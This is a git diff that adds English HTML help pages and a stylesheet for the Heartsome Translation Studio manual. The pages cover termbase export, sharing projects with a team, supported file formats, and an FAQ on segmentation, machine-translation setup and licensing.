      +
    4. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s04.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s04.html new file mode 100644 index 0000000..c5da696 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s04.html @@ -0,0 +1,33 @@ + + + +4. Termbase Management + + + + + + + +
    +

    +4. Termbase Management

    + + +

    The Termbases Management interface + features and operations are almost the same as those of the Translation Memory Management dialog box + and therefore not repeated here.

    + +
    +

    Figure 137. Termbase Management dialog box

    +
    + + +
    +
    Termbase Management dialog box
    +
    +
    +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s05.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s05.html new file mode 100644 index 0000000..39cfa5b --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch06s05.html @@ -0,0 +1,170 @@ + + + +5. Export TM as TBX + + + + + + + +
    +

    +5. Export TM as TBX

    + + +

    Just a TMs can be exported and imported as TMX files, termbase + data can be exchanged across different CAT tools by exporting and + importing TBX files. Here is how:

    + +
      +
    1. +

      Click Databases > Export + TBX,

      +
      +

      Figure 138. Export Termbases as TBX Files

      +
      + + +
      +
      Export Termbases as TBX Files
      +
      +
      +
      +


      +
    2. +
    3. +

      In the Export Termbases as TBX + Files dialog box, the following settings need to be + configured:

      + +
      +

      Figure 139. Export termbase as TBX

      +
      + + +
      +
      Export termbase as TBX
      +
      +
      +
      +
      + +
        +
      • +

        Termbase

        + +
          +
        • +

          Add

          + +

          Click this button and the Termbases + Management dialog box will pop up. From + there, select the termbase to be exported and click + OK.

          + +
          +

          Figure 140. Select the termbase to be exported

          +
          + + +
          +
          Select the termbase to be exported
          +
          +
          +
          +
          +
        • +
        • +

          Remove

          + +

          Remove a termbase from the list of "termbases to be + exported".

          +
        • +
        • +

          Export Languages

          + +

          When a termbase from the list is selected, the + languages of the termbase will be shown here. You must + select at least two languages to export the termbase.

          +
        • +
        • +

          Source Language

          + +

          Specify the source language for the TBX export.

          +
        • +
        +
      • +
      • +

        Filter Rules

        + +
          +
        • +

          Add

          + +

          When the selected filter rule is “N/Aâ€, + click Edit to add a new filter rule. + A filter rule includes the following information:

          + +
          +

          Figure 141. Export TBX: Filter rules

          +
          + + +
          +
          Export TBX: Filter rules
          +
          +
          +
          +
          + +
            +
          • +

            Name

            +
          • +
          • +

            Type of criteria combination

            + +

            Meet all of the following + conditions, meet one of the + following conditions

            +
          • +
          • +

            Criteria

            + +
            • +

              Term

              +
            +
          • +
          +
        • +
        • +

          Edit

          + +

          When you select a filter rule that has already been + saved, you can click the Edit button + to edit the rule.

          +
        • +
        • +

          Delete

          + +

          Delete the selected filter rule.

          +
        • +
        +
      • +
      • +

        Custom Coding

        + +

        Specify the encoding used for TMX files. The default + coding is “UTF-8†and usually does not need to be + changed.

        +
      • +
      • +

        TBX save path

        +
      • +
      +
    4. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch07.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07.html new file mode 100644 index 0000000..d16e4f2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07.html @@ -0,0 +1,72 @@ + + + +Collaborating with teams + + + + + + + +
    +

    +Collaborating with teams

    + + +

    A translation project is often completed by a team of people and + therefore inevitably involves teamwork. HSTS provides good support for + collaborating with teams.

    + +
    +

    +1. Sharing databases

    + + +

    Unlike most CAT tools where server-based features are offered as + separate products and sold at high prices, HSTS + “Professional†and higher editions support external + database servers (for a detailed list of supported database types, + please refer to external database servers) and allow team members to + share TMs and termbases on these servers.

    + +

    By following the instructions + and recommendations on maintenance and management of databases + detailed earlier, users can create “final databases†and + “draft databases†(both including TMs and termbases) on any + computer functioning as a server. Members of the translation team simply + need to add these TMs/termbases to their project.

    + +

    If your team needs to share TMs or termbases but are located in + different parts of the world, a cloud database might be a good option. + HSTS supports both Amazon RDS and ClearDB. For more information, please + see the product websites of the respective suppliers.

    + +
    +

    Note

    +

    Differences between default and non-default + databases

    + +

    In HSTS, each project can have one “default†+ TM/termbase, and an unlimited number of “non-default + databases†(also called “reference databasesâ€). + Default and non-default databases are different in that + reference databases are read-only, meaning you + can search for matches in these databases but you can't save segments + in them. On the other hand, default databases are used for + searching and for saving segments.

    + +

    Access to databases can also be controlled with the user + management system that comes with the database server. Please see the + management documents of the appropriate database servers for more + details.

    +
    +
    + + + + + + +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s02.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s02.html new file mode 100644 index 0000000..d637ac8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s02.html @@ -0,0 +1,145 @@ + + + +2. Export Project + + + + + + + +
    +

    +2. Export Project

    + + +

    Exporting a project means to export a project as a compressed ZIP + package, making it easy for team members to exchange projects. Using + this approach, a project can be passed between people for the different + stages of the process, or split up and assigned to many team members. + Exchanging projects also avoids the duplication of effort involved with + creating projects, entering project information and setting up + TMs/termbases. The steps for exporting a project are described below, + for two different scenarios:

    + +
    +

    +Passing the different stages of the process between team + members

    + + +

    When the different stages of the project process are shared + between team members, it is usually necessary to export the entire + project. This can be done following these steps:

    + +
      +
    1. +

      Select the project to be + exported from the Project window.

      +
    2. +
    3. +

      Click Project > Export + Project.

      +
      +

      Figure 142. Export whole project

      +
      + + +
      +
      Export whole project
      +
      +
      +
      +


      +
    4. +
    5. +

      If no project was selected in step 1, it can be selected now + in the Export Project dialog box. + If you want to export only certain file formats, you can do so by + clicking the Filter Types button and then + selecting or entering the desired file extensions.

      + +
      +

      Figure 143. Export project dialog

      +
      + + +
      +
      Export project dialog
      +
      +
      +
      +
      +
    6. +
    7. +

      Click Browse and select the desired + path and file + name.

      +
    8. +
    9. +

      Click OK to start exporting the selected project.

      +
    10. +
    +
    + +
    +

    +Assign project

    + + +

    For easier operation when assigning a project to various team + members, we recommend first saving the files for the various members + in different folders and then taking the following steps:

    + +
      +
    1. +

      Click Project > Export + Project.

      +
      +

      Figure 144. Export specific project files

      +
      + + +
      +
      Export specific project files
      +
      +
      +
      +


      +
    2. +
    3. +

      In the Export Project dialog + box, select only the file/folder for the first team member, + including any references to be shared for the project.

      + +
      +

      Figure 145. Export specific project files

      +
      + + +
      +
      Export specific project files
      +
      +
      +
      +
      +
    4. +
    5. +

      Click Browse and select the desired + path and file + name.

      +
    6. +
    7. +

      Click OK to start exporting the + selected project. The exported project package format is + .hszip.

      +
    8. +
    9. +

      Repeat steps 1 to 4 to export the files for each of the team + members.

      +
    10. +
    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s03.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s03.html new file mode 100644 index 0000000..d4a81be --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s03.html @@ -0,0 +1,92 @@ + + + +3. Import Project + + + + + + + +
    +

    +3. Import Project

    + + +

    Depending on the goal of importing a project, the ways to perform + the import vary:

    + +
    +

    +Passing the different stages of the process between team + members

    + + +

    When a project is passed between stages of the process, the team + member dealing with the next stage will not need to create a project. + Instead, by importing the project exported by the previous member, + they can continue the work from there. Follow these steps:

    + +
      +
    1. +

      Click Project > Import + Project.

      +
      +

      Figure 146. Import project

      +
      + + +
      +
      Import project
      +
      +
      +
      +


      +
    2. +
    3. +

      Click Browse button, select the + .hszip file to import project.

      + +
      +

      Figure 147. Import project dialog

      +
      + + +
      +
      Import project dialog
      +
      +
      +
      +
      +
    4. +
    5. +

      By default, all items in the project package will be + automatically selected and prepared for import. Double-check and + then click the Finish button.

      +
    6. +
    + +
    +

    Warning

    +

    If you import the project package back to original project, + you can select items to be + updated(overwritten).

    +
    +
    + +
    +

    +Integrate and update

    + + +

    Before finishing a project that has been assigned to multiple + members, all completed files have to be integrated into a certain + member's existing project. This member is usually the person who + assigned the project (e.g., the Project Manager).Once the person who + assigned the project get returned project package, one can + import and update current project (overwrite the all files under XLIFF + foler).

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s04.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s04.html new file mode 100644 index 0000000..6565461 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch07s04.html @@ -0,0 +1,21 @@ + + + +4. RTF external proofreading + + + + + + + +
    +

    +4. RTF external proofreading

    + + +

    For information about exporting XLIFF contents to an RTF file for + external proofreading, please see the section called “Export RTF†+ and the section called “Import RTFâ€.

    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch08.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch08.html new file mode 100644 index 0000000..b2245c2 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch08.html @@ -0,0 +1,293 @@ + + + +Handling different file formats + + + + + + + +
    +

    +Handling different file formats

    + + +
      +
    1. +

      Microsoft Office 2003 files

      + +

      Microsoft Office 2003 files and earlier versions are examples of + source files that are indirectly supported. + Please go to www.openoffice.org to + download and install OpenOffice for free. After that, go to + Tools > Options > + Translation to set the installation path + for OpenOffice. Now you can convert Microsoft Office 2003 files the + way you convert directly supported formats. For detailed conversion + procedures, please see the section called “Convert Source Files to XLIFFâ€.

      + +
      +

      Figure 148. Options: Translate

      +
      + + +
      +
      Options: Translate
      +
      +
      +
      +
      +
    2. +
    3. +

      Microsoft Office 2007/2010 files

      + +

      HSTS directly supports Microsoft Office 2007 (including Word, + Excel, and PowerPoint) files and later versions as source files. For + detailed conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      + +

      For Microsoft Excel 2007 / 2010, you can also choose whether to + exclude Red font cells or not:

      + +
      +

      Figure 149. Options: Excel conversion settings

      +
      + + +
      +
      Options: Excel conversion settings
      +
      +
      +
      +
      + +

      For Microsoft PowerPoint 2007 / 2010, you can also choose + whether to exclude Notesor not (at this point, + masters and image paths are not handled):

      + +
      +

      Figure 150. Options PowerPoint conversion settings

      +
      + + +
      +
      Options PowerPoint conversion settings
      +
      +
      +
      +
      +
    4. +
    5. +

      TTX

      + +

      For Trados 2007 and earlier versions of bilingual file formats, + HSTS only supports segmented TTX files as source + files. For detailed conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    6. +
    7. +

      SDLXLIFF

      + +

      HSTS directly supports bilingual XLIFF files from SDL Trados + 2009 and later versions as source files. For detailed conversion + procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    8. +
    9. +

      Déjà Vu XLIFF

      + +

      HSTS directly supports bilingual XLIFF files exported from Déjà + Vu as source files. For detailed conversion procedures, please see: + the section called “Convert Source Files to XLIFFâ€.

      +
    10. +
    11. +

      MemoQ XLIFF

      + +

      HSTS directly supports bilingual XLIFF files from MemoQ as + source files. For detailed conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    12. +
    13. +

      Wordfast Pro TXML

      + +

      HSTS directly supports Wordfast Pro bilingual TXML files as + source files. For detailed conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    14. +
    15. +

      MIF

      + +

      HSTS directly supports MIF files from Adobe Frame-Maker 7 and + later versions as source files. For detailed conversion procedures, + please see: the section called “Convert Source Files to XLIFFâ€.If errors occur + when MIF files saved in FrameMaker 7 are being converted or processed + using HSTS, please use FrameMaker 8 or 9 to to save the MIF files + again before processing them with HSTS. If clients require FrameMaker + 7 deliverables, then the translated files need to be saved again as + FrameMaker 7 MIF files.

      + +

      In Options, you can set whether + to exclude Master content or not during MIF + conversion:

      + +
      +

      Figure 151. Options: MIF conversion settings

      +
      + + +
      +
      Options: MIF conversion settings
      +
      +
      +
      +
      +
    16. +
    17. +

      IDML

      + +

      HSTS directly supports IDML files from Adobe InDesign CS 5.0.1 + and later versions as source files. For detailed conversion + procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    18. +
    19. +

      RTF

      + +

      HSTS directly supports RTF files as source files. For detailed + conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    20. +
    21. +

      HTML

      + +

      HSTS directly supports HTML files as source files. For detailed + conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      +
    22. +
    23. +

      XML

      + +

      HSTS directly supports XML files as source files. For detailed + conversion procedures, please see: the section called “Convert Source Files to XLIFFâ€.

      + +
      +
      • +

        Configure XML Converter

        + +

        For certain XML files, HSTS “Professional†and + “Ultimate†editions allow you to define how to deal + with each element and attribute value. See details below:

        + +
          +
        1. +

          Click Advanced > + Configure XML Converter.

          + +
          +

          Figure 152. Configure XML Converter

          +
          + + +
          +
          Configure XML Converter
          +
          +
          +
          +
          +
        2. +
        3. +

          Click Analyze XML sample, select + the XML file to analyze.

          +
          +

          Figure 153. Configure XML Converter

          +
          + + +
          +
          Configure XML Converter
          +
          +
          +
          +


          +
        4. +
        5. +

          Change the analyzed configuration if needed:

          +
          +

          Figure 154. Configure XML Element

          +
          + + +
          +
          Configure XML Element
          +
          +
          +
          +


          +
        6. +
        7. +

          Select the element needs to configure, click + Edit button, you can configure the + following settings:

          + +
          +

          Figure 155. Element configuration

          +
          + + +
          +
          Element configuration
          +
          +
          +
          +
          + +
            +
          • +

            Element name

            +
          • +
          • +

            Element type

            + +
              +
            • +

              Segment

              + +

              Extract as segment

              +
            • +
            • +

              Inline

              + +

              Extract as internal tags

              +
            • +
            • +

              Ignore

              + +

              Ignore

              +
            • +
            +
          • +
          • +

            Inline type

            + +

            The option only available when element type is + “inlineâ€, the value can be: + image, pb, + lb, x-bold, + x-entry, x-font, + x-italic, + x-link, + x-underlined, + x-other

            +
          • +
          • +

            Translatable attributes

            + +

            Name of the translation attribute to be extracted in + the element

            +
          • +
          • +

            Reserve spaces

            +
          • +
          +
        8. +
        +
      +
      +
    24. +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/ch09.html b/ts/net.heartsome.cat.ts.ui.help/html/en/ch09.html new file mode 100644 index 0000000..7b030f9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/ch09.html @@ -0,0 +1,937 @@ + + + +FAQ + + + + + + +
    +

    +FAQ

    + + +
    + ++++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
    +
    1.1. What if the default segmentation is incorrect? +
    +
    1.2. How can I use machine translation? +
    +
    1.3. How do I correct source text mistakes? +
    +
    1.4. The default segmentation filter rules are not enough, what + can I do? +
    +
    1.5. How do I find out what encoding my file is in? +
    +
    1.6. What if my license doesn't work after I replace my computer + or reinstall the operating system? +
    +
    1.7. Is there any easier way to add or copy project files? +
    +
    1.8. Sometimes file operations work on the file(s) selected in + Project view, and at other times they only work on the file + currently being edited. How do I tell? +
    +
    1.9. Can I apply batch operations to segments? +
    +
    1.10. What's the best way to deal with segments that do not need + to be translated? +
    +
    1.11. When I get a “resource out of sync†message + during a certain operation (e.g., exporting a project), what can I + do to fix it? +
    +
    1.12. Where does HSTS save my project files? +
    +
    1.13. How do I get help from Heartsome when I have problems using + HSTS? +
    +
    1.14. What versions of the XLIFF, TMX, and TBX standards are + supported by HSTS? +
    +
    1.15. With a TMX file exported from HSTS, how do I import it to + Trados? +
    +
    +

    1.1.

    +

    What if the default segmentation is incorrect?

    +

    If there are just a few instances of incorrect segmentation + occurs and there is no obvious pattern, this can be fixed using + “merge segments†or “split segmentsâ€. If + the incorrect segmentation occurs frequently and follows a certain + pattern, the problem can be fixed using “segmentation + rules†instead.

    +
      +
    • +

      Merge Segment

      + +

      In cases where text has been over segmented, use + Ctrl/Shift and the left + mouse button to select the consecutive segments to be merged, + then click Edit > Merge + Segment. Every two segments merged will be connected + by a newly generated “internal tag†between the + original source text segments.

      +
      +

      Figure 156. Merge Segment

      +
      + + +
      +
      Merge Segment
      +
      +
      +
      +


      + +
      +

      Figure 157. Merge segments

      +
      + + +
      +
      Merge segments
      +
      +
      +
      +
      +
    • +
    • +

      Split Segment

      + +

      In cases where text has not been segmented enough, place + the cursor at the point where you want the text to be + segmented and then click Edit > + Split Segment.

      +
      +

      Figure 158. Split Segment

      +
      + + +
      +
      Split Segment
      +
      +
      +
      +


      + +
      +

      Figure 159. Split segments

      +
      + + +
      +
      Split segments
      +
      +
      +
      +
      + +
      +

      Note

      +

      Only unlocked segments can be merged or split.

      +
      +
    • +
    • +

      Segmentation Rule Configuration

      + +

      Segmentation rules configuration can be done using the + Segmentation Rule Manager, a + feature only available in the “Professional†and + “Ultimate†editions. To open Segmentation Rules + Manager, please click Advanced menu > + Segmentation Rules Manager.

      +
      +

      Figure 160. Segmentation Rule Manager

      +
      + + +
      +
      Segmentation Rule Manager
      +
      +
      +
      +


      Every SRX file can save many segmentation rules, + and SRX files can be added and edited here. Configuration of + segmentation rules in SRX files involves two parts:

      + +
        +
      • +

        Language Rules

        + +

        These are the segmentation rules for a specific + language (e.g., Chinese) and usually deal with the + punctuation, symbols or characters specific to that + language.

        + +
          +
        1. +

          Select the SRX file to be edited and click the + Edit button.

          + +
          +

          Figure 161. Segmentation Rule Manager

          +
          + + +
          +
          Segmentation Rule Manager
          +
          +
          +
          +
          +
        2. +
        3. +

          If you do not intend to change the + Segmentation rule Name, just + click the OK.

          +
          +

          Figure 162. Segmentation Rule

          +
          + + +
          +
          Segmentation Rule
          +
          +
          +
          +


          +
        4. +
        5. +

          In “Language rulesâ€, select the + language to edit, and click the Edit + Language Rule button to configure the + following settings:

          + +
          +

          Figure 163. Language Rule Configuration

          +
          + + +
          +
          Language Rule Configuration
          +
          +
          +
          +
          + +
            +
          • +

            Segmentation + required

            + +

            Whether segmentation is required or not when + the rule is satisfied (if not required, it is + usually an exception to the rule).

            +
          • +
          • +

            Before + segmentation

            + +

            Segmentation/no segmentation after the + character (regex)

            +
          • +
          • +

            After segmentation

            + +

            Segmentation/no segmentation before the + character (regex)

            +
          • +
          +
        6. +
        7. +

          Click OK and then + Save.

          +
        8. +
        +
      • +
      • +

        Mapping rule

        + +

        Language mapping rules, e.g., can be configured so + that zh-CN, zh-HK, and zh-TW all use zh rules.

        + +
          +
        1. +

          The first two steps are the same as with + language rules:

          +
        2. +
        3. +

          In “mapping rulesâ€, select the rule + to be edited and click the Edit Mapping + Rule button.

          + +
          +

          Figure 164. Mapping Rule Configuration

          +
          + + +
          +
          Mapping Rule Configuration
          +
          +
          +
          +
          +
        4. +
        5. +

          Select the specific mapping rule and click the + Edit button to proceed with the + following settings:

          +
          +

          Figure 165. Edit mapping rules

          +
          + + +
          +
          Edit mapping rules
          +
          +
          +
          +


          + +
            +
          • +

            Language module

            + +

            Enter the regular expression for the language + code to be matched

            +
          • +
          • +

            Language Rules

            + +

            Select the language rules that have been + added

            +
          • +
          +
        6. +
        7. +

          When you are done, save all the settings and + close unwanted dialog boxes.

          +
        8. +
        +
      • +
      + +

      To use SRX files you have added or edited, select the + appropriate SRX files when you convert source files to + XLIFF.

      +
    • +
    +
    +

    1.2.

    +

    How can I use machine translation?

    +

    HSTS currently supports Google Translate and Bing Translator + as machine translation engines. Both engines require a private key + and can only be used after configuring the appropriate settings in + HSTS.

    +
      +
    • +

      Google Translate

      + +

      At present, Google only provides Google Translate v2 as + a paid service, so you need to purchase the service + first.

      + +
        +
      • +

        How do I buy it?

        + +
          +
        1. +

          If you don't have a Google account, please sign + up for one at https://accounts.google.com/SignUp

          +
        2. +
        3. +

          Visit https://code.google.com/apis/console#:billing + and click the Create Project + button to create a project.

          +
        4. +
        5. +

          Find “Translate API†from the list + of services and click the “Activate†+ button next to it, which is shown as + OFF. Click to agree the two + sets of Terms of Use that pop up one after the + other.

          +
        6. +
        7. +

          Select the “Billing†category to + the left or visit the above + website again and click Google + Checkout to pay. Follow instructions to + add your payment method, e.g., by entering your credit + card information.

          +
        8. +
        9. +

          After the payment is made, select the “API + Access†category to the left. Select and copy + the value after the API Key for + later use.

          +
        10. +
        +
      • +
      • +

        Settings

        + +
          +
        1. +

          Run HSTS and then open Tools + > Options > + Translation > + Google Translate.

          +
        2. +
        3. +

          In the Key field, paste the + “API Key†you copied earlier on, then + click the Test button.

          +
        4. +
        5. +

          Once the verification is complete, you may + proceed to change the following settings:

          + +
            +
          • +

            Automatic Machine + Translation

            + +
              +
            • +

              Only if the target segment has not + already been translated with Google + Translate

              + +

              This option saves traffic-based costs + associated with Google Translate (GT) by only + implementing GT translations for segments that have + not yet been translated by GT without submitting the + same segments repeatedly.

              +
            • +
            • +

              No matter what is in the target + segment

              + +

              This option implements Google Translate (GT) + translation all the time, whether translation has + been done by GT or not. This is a suitable option if + your source text changes quite often, but it can + incur extra traffic-based costs with Google.

              +
            • +
            • +

              Never, I'll do that + manually

              + +

              This option does not automatically implement + GT translation, but allows manual implementation + when needed.

              +
            • +
            +
          • +
          • +

            Pre-store Google Translate + translations

            + +

            Once enabled, this option will pre-store + translation by Google Translate in XLIFF + format.

            +
          • +
          +
        6. +
        7. +

          Click the OK button when + you finished configuring settings.

          +
        8. +
        +
      • +
      + +

      If machine translation is not set to be implemented + manually, you will get Google-translated results when moving + between segments. If this does not happen, you may click + Translation > Google + Machine Translation to manually get translations + by Google Translate.

      +
    • +
    • +

      Bing Translator

      + +

      Bing Translator is a service provided by Microsoft which + offers 2,000,000 characters of free translation per + month.

      + +
        +
      • +

        Sign up

        + +
          +
        1. +

          Visit http://msdn.microsoft.com/en-us/library/hh454950.aspx, + and click the Sign In button in + the upper right corner to log in or sign up for a + Microsoft Live account.

          +
        2. +
        3. +

          When logged in you will be automatically + directed back to the last screen. From there, click + the Azure + Marketplace link and then the Sign + Up button to subscribe to the Windows + Azure Marketplace.

          +
        4. +
        5. +

          Enter the required information, go to + Country / Region and select + “Worldwide (English)†and then click the + Continue button.

          +
        6. +
        7. +

          Agree to the Windows Azure Marketplace Terms of + Use and click the Register + button.

          +
        8. +
        9. +

          Agree to the Microsoft Translator Terms of Use + and click Register to subscribe + to the Microsoft Translator service.

          +
        10. +
        11. +

          Go to https://datamarket.azure.com/developer/applications/ + and click the Register + button.

          +
        12. +
        13. +

          Enter the required information as you like + except that you should not change the Client + key. Copy the Client + ID and Key separately + and save them for later use. Click the + Create button.

          +
        14. +
        +
      • +
      • +

        Settings

        + +

        Bing Translator is configured and used in HSTS in + the same way as Google Translate. The only difference is + that Bing Translator requires a Client + ID and Key, while Google + Translate only requires the private key. Please refer to + the Google + Translate settings for details.

        +
      • +
      +
    • +
    +
    +

    1.3.

    +

    How do I correct source text mistakes?

    By default HSTS does not allow editing of source text in + order to avoid incorrect operation. However, if there are source + text mistakes that have to be corrected, you can go to the + Edit menu > Edit + Source > Edit Current + Source or Edit All Source + to temporarily unlock the source text. If you choose Edit Current + Source, you will be automatically prevented from editing source + text when you finish editing the current source text segment. If + you choose Edit All Source, then you will need to manually disable + editing source text, otherwise all source text segments will + remain editable.

    +

    1.4.

    +

    The default segmentation filter rules are not enough, what + can I do?

    You can add custom filter rules by clicking the + Customize Filters button to the right of + the segment filter. For details, please see the section called “Filter segmentsâ€.

    +

    1.5.

    +

    How do I find out what encoding my file is in?

    +

    The following types of text-based files can be opened using + EmEditor, or any other text editors that support a variety of + encodings:

    +
      +
    • +

      .html, .htm

      +
    • +
    • +

      .inx

      +
    • +
    • +

      .js

      +
    • +
    • +

      .mif

      +
    • +
    • +

      .po

      +
    • +
    • +

      .properties

      +
    • +
    • +

      .rc

      +
    • +
    • +

      .resx

      +
    • +
    • +

      .rtf

      +
    • +
    • +

      .sdlxliff

      +
    • +
    • +

      .ttx

      +
    • +
    • +

      .txt

      +
    • +
    • +

      .xlf

      +
    • +
    • +

      .xml

      +
    • +
    +

    The following XML-based compressed formats are usually + UTF-8:

    +
      +
    • +

      .doc, .ppt, .xls + (converted using OpenOffice for indirect support)

      +
    • +
    • +

      .docx, .pptx, + .xlsx

      +
    • +
    • +

      .idml

      +
    • +
    • +

      .odt, .odp, + .ods

      +
    • +
    +
    +

    1.6.

    +

    What if my license doesn't work after I replace my computer + or reinstall the operating system?

    +

    Before replacing your computer or reinstalling the operating + system, you should use Help > + License Management > + Deactivate on your old computer/system to + deactivate your license. When you finish the + replacement/re-installation, you will be prompted to activate your + license the first time you run the software. Simply follow the + instructions in the wizard.

    +

    If you have finished replacing your computer or installing + the system without first deactivating your license, please contact technical + support who will need to deactivate your license from the + old computer/system manually before you can + activate the license again in your new computer/system. For + details, see b.

    +
    +

    1.7.

    +

    Is there any easier way to add or copy project files?

    +

    HSTS's Project window is + similar to Windows “Explorerâ€,Mac OS's + “Finderâ€, or Linux's “Nautilus†(all + referred to as a “file manager†hereinafter). + Operations in a project such as creating, renaming, and deleting + sub-folders work the same way as in the file managers mentioned + above.

    +

    Therefore, files from the operating system's “file + manager†can be copied into a project by directly + dragging and dropping them into the project. + Likewise, to move files to a file manager, you can copy or paste + project files or drag-and-drop them to the desired location.You + can also directly move files/folders between projects by dragging + and dropping. In addition, you can use the Edit + menu > Copy, + Cut, Paste + and other functions to organize files/folders.

    +
    +

    Note

    +

    When files are dragged from a project and if the target + location is in the same disk partition as “Heartsome + Workspaceâ€, the default operation will be to + move rather than to copy the files. Therefore, it is + recommended to use the hotkeys + Ctrl/Command+C + and + Ctrl/Command+V + to copy files from the project to avoid accidentally removing + files from the project.

    +
    +
    +

    1.8.

    +

    Sometimes file operations work on the file(s) selected in + Project view, and at other times they only work on the file + currently being edited. How do I tell?

    When the Project window is + active (title bar and frame have a different color), operations + will work on the file(s) selected in the + Project window; when the editor is + active, operations work on the one being edited.

    +

    1.9.

    +

    Can I apply batch operations to segments?

    Most segment-specific features in the + Edit and Translation menus + (e.g., change segment status, add/delete comments, etc.) can be + applied to multiple segments as a batch operation. To do this, use + Ctrl or Shift + left mouse + button to select segments and complete the desired function, which + will then apply to all selected segments.

    +

    1.10.

    +

    What's the best way to deal with segments that do not need + to be translated?

    Users with experience of other CAT tools might choose to use + features like “copy source to target†and then + “approve segment†to get the desired result.In HSTS, + however, we recommend an easier way: lock the segments that do not + need to be translated, and keep their translations empty. When the + XLIFFs are converted to target files, HSTS will automatically + extract the source text for segments with empty + translations.

    +

    1.11.

    +

    When I get a “resource out of sync†message + during a certain operation (e.g., exporting a project), what can I + do to fix it?

    In the Project window, select + the project the current file belongs to, then from the right-click + menu choose Refresh before starting the + operation (e.g., exporting file) again.

    +

    1.12.

    +

    Where does HSTS save my project files?

    When HSTS is run for the first time, a folder named + “Heartsome Workspace†will be created in the current + user directory (which is the folder path the system environment + variable “%USERPROFILE%†in Windows points to + [“$HOME†in MAC OS / Linux]). The directory is + referred to as the “Heartsome Workspace folderâ€. All + projects and all of its sub-folders/files created in HSTS are + saved in this folder.

    +

    1.13.

    +

    How do I get help from Heartsome when I have problems using + HSTS?

    +

    You may e-mail Heartsome technical support at + providing as much of the following information as possible in your + email, so that support staff can understand your issues more + effectively:

    +
      +
    1. +

      Your operating system and its version, e.g., Windows XP + 32-bit SP3

      +
    2. +
    3. +

      Your Java Runtime Environment (JRE) version, e.g., Java + 1.7.0_05-b05

      +
    4. +
    5. +

      Your Heartsome product type and edition, e.g., + Translation Studio Ultimate 8.0.0 Build 20120907

      +
    6. +
    7. +

      Detailed steps that led to the problem

      +
    8. +
    9. +

      Actual results

      +
    10. +
    11. +

      Expected/desired results

      +
    12. +
    13. +

      Sample files (as some problems only occur in certain + files)

      +
    14. +
    15. +

      Screenshots of errors

      +
    16. +
    17. +

      Any other information that may help support staff + identify the problems

      +
    18. +
    +
    +

    1.14.

    +

    What versions of the XLIFF, TMX, and TBX standards are + supported by HSTS?

    +

    HSTS supports the following versions of these + standards:

    +
      +
    • +

      XLIFF v1.2

      +
    • +
    • +

      TMX v1.4 and v1.4b

      +
    • +
    • +

      TBX v0.2

      +
    • +
    +
    +

    1.15.

    +

    With a TMX file exported from HSTS, how do I import it to + Trados?

    When you are using HSTS to export a TM as a TMX file, please + select the TMX level 1 (without tags) and + Custom Encoding check boxes, select + UTF-16LE from the drop down list, and use + Tools > TMX + Validator > File menu > + Clean TMX file. When you are finished, + import the file to Trados.

    +
    +
    + diff --git a/ts/net.heartsome.cat.ts.ui.help/html/en/css/style.css b/ts/net.heartsome.cat.ts.ui.help/html/en/css/style.css new file mode 100644 index 0000000..dde0bf7 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/html/en/css/style.css @@ -0,0 +1,206 @@ +/* +Product: Heartsome Translation Studio +Author: Jacky Zeng +Date: 2012-11-25 +Version: 1.1 +*/ + + +body { + font-size: 14px; + color: #000; + font-family: Arial, Helvetica, 宋体, simsun, sans-serif; +} + +a:link, a:visited { + text-decoration: none; + color: #000; +} + +a:hover, a:active { + text-decoration: underline; + color: #ff0000; +} + +p { + font-size: 14px; + line-height: 1.4; +} + +em { + font-style: normal; +} +/* +Page Header +*/ +.navheader { + font-size: 14px; +} +.navheader a:link { + text-decoration: none; + font-size: 14px; + color: #000; +} +.navheader a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 14px; +} +.navheader a:visited { + text-decoration: none; + color: #000; + font-size: 14px; +} + +.navheader th { + color: #1B5874; + font-size: 20px; +} +/* +Page Footer +*/ +.navfooter { + font-size: 14px; +} + +.navfooter table tr th td { + font-size: 14px; + color: #000; +} +.navfooter a:link { + text-decoration: none; + color: #000; + font-size: 14px; +} +.navfooter a:hover { + text-decoration: underline; + color: #ff0000; + font-size: 14px; +} +.navfooter a:visited { + text-decoration: none; + color: #000; + font-size: 14px; +} + +/* +Chapter title +Level 1 +*/ +h1 { + font-size: 